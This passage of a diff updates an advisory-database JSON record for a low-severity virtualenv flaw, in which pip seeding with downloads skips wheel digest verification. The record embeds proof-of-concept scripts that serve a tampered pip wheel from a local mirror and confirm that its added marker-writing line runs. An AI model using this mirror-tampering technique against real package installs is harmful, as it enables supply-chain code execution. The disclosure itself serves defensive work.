","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cw65-gx24-rc82/GHSA-cw65-gx24-rc82.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113716"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3429"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:35:56Z","nvd_published_at":"2026-10-20T20:17:17Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-cx28-75q4-x26q.json b/data/PyPI/GHSA-cx28-75q4-x26q.json index 20c9a1c5c9..b9ec00b51d 100644 --- a/data/PyPI/GHSA-cx28-75q4-x26q.json +++ b/data/PyPI/GHSA-cx28-75q4-x26q.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-cx28-75q4-x26q","published":"2026-10-23T22:26:04Z","modified":"2026-10-29T10:55:56.839709622Z","aliases":["BIT-virtualenv-2026-113717","CVE-2026-113717"],"summary":"virtualenv: Pip seeding with download omits wheel digest verification","details":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Index in pip.conf\n participant V as virtualenv PipInvoke\n participant P as pip install\n participant E as Seeded environment\n I->>V: serve modified pip wheel\n V->>V: get_wheel(download=False)\n V->>P: install with --download permitting index lookup\n P->>I: select same-version index wheel\n I->>E: modified pip installed without virtualenv digest check\n E->>E: later pip invocation runs added code\n Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\") # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\") # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n [*virtualenv, \"--download\", f\"{work}/env-default\"],\n env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n for entry in genuine.infolist():\n data = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n data += payload.encode()\n served.writestr(entry, data)\n\n# PEP 503 project page; pip reads /pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n page.write(f'{wheel_name}\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cx28-75q4-x26q/GHSA-cx28-75q4-x26q.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-494"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:26:04Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-cx28-75q4-x26q","published":"2026-10-23T22:26:04Z","modified":"2026-11-18T12:11:02.020890202Z","aliases":["BIT-virtualenv-2026-113717","CVE-2026-113717","PYSEC-2026-4376"],"summary":"virtualenv: Pip seeding with download omits wheel digest verification","details":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Index in pip.conf\n participant V as virtualenv PipInvoke\n participant P as pip install\n participant E as Seeded environment\n I->>V: serve modified pip wheel\n V->>V: get_wheel(download=False)\n V->>P: install with --download permitting index lookup\n P->>I: select same-version index wheel\n I->>E: modified pip installed without virtualenv digest check\n E->>E: later pip invocation runs added code\n Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\") # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\") # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n [*virtualenv, \"--download\", f\"{work}/env-default\"],\n env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip's pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror's wheel for its digest: {refused}\")\nprint(f\"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}\")\nprint(f\"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, 'w').write('mirror code ran')\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n for entry in genuine.infolist():\n data = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n data += payload.encode()\n served.writestr(entry, data)\n\n# PEP 503 project page; pip reads /pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n page.write(f'{wheel_name}\\n')\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.